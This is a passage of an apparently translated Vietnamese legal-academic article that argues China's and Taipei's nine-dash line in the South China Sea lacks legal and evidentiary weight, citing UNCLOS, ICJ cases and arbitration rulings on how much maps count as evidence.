Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div>
<div>
</div>
<div>
Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div>
<div>
</div>
<div>
Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div>
<div>
</div>
<div>
Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div>
<div>
</div>
<div>
3. Những diễn biến mới</div>
<div>
</div>
<div>
Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div>
<div>
</div>
<div>
Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div>
<div>
</div>
<div>
B. Các yêu sách đảo</div>
<div>
</div>
<div>
1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div>
<div>
</div>
<div>
Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div>
<div>
</div>
<div>
Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div>
<div>
</div>
<div>
Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div>
<div>
</div>
<div>
Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div>
<div>
</div>
<div>
Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div>
<div>
</div>
<div>
Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div>
<div>
</div>
<div>
Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div>
<div>
</div>
<div>
2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div>
<div>
</div>
<div>
Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div>
<div>
</div>
<div>
Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div>
<div>
</div>
<div>
Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div>
<div>
</div>
<div>
Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div>
<div>
</div>
<div>
Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div>
<div>
</div>
<div>
Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div>
<div>
</div>
<div>
Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div>
<div>
</div>
<div>
1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div>
<div>
</div>
<div>
2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div>
<div>
</div>
<div>
3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div>
<div>
</div>
<div>
Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div>
<div>
</div>
<div>
Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div>
<div>
</div>
<div>
Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div>
<div>
</div>
<div>
III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div>
<div>
</div>
<div>
Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div>
<div>
</div>
<div>
Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div>
<div>
</div>
<div>
A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div>
<div>
</div>
<div>
Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div>
<div>
</div>
<div>
Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div>
<div>
</div>
<div>
Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div>
<div>
</div>
<div>
B. Các bản đồ không tương thích nhau</div>
<div>
</div>
<div>
Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div>
<div>
</div>
<div>
“dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div>
<div>
</div>
<div>
Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div>
<div>
</div>
<div>
C. Ký hiệu bản đồ rời rạc / nhập nhằng</div>
<div>
</div>
<div>
Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div>
<div>
</div>
<div>
Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div>
<div>
</div>
<div>
Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div>
<div>
</div>
<div>
D. Ý định không rõ ràng</div>
<div>
</div>
<div>
Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div>
<div>
</div>
<div>
Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div>
<div>
</div>
<div>
E. Thiếu tính trung lập</div>
<div>
</div>
<div>
Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div>
<div>
</div>
<div>
Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div>
<div>
</div>
<div>
Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div>
<div>
</div>
<div>
Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div>
<div>
</div>
<div>
F. Không chính xác về kỹ thuật</div>
<div>
</div>
<div>
Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div>
<div>
</div>
<div>
ICJ phát biểu rằng:</div>
<div>
</div>
<div>
Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div>
<div>
</div>
<div>
Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div>
<div>
</div>
<div>
Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div>
<div>
</div>
<div>
Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div>
<div>
</div>
<div>
Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div>
<div>
</div>
<div>
Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div>
<div>
</div>
<div>
IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div>
<div>
</div>
<div>
A. Tiêu chuẩn áp dụng</div>
<div>
</div>
<div>
Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div>
<div>
</div>
<div>
tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div>
<div>
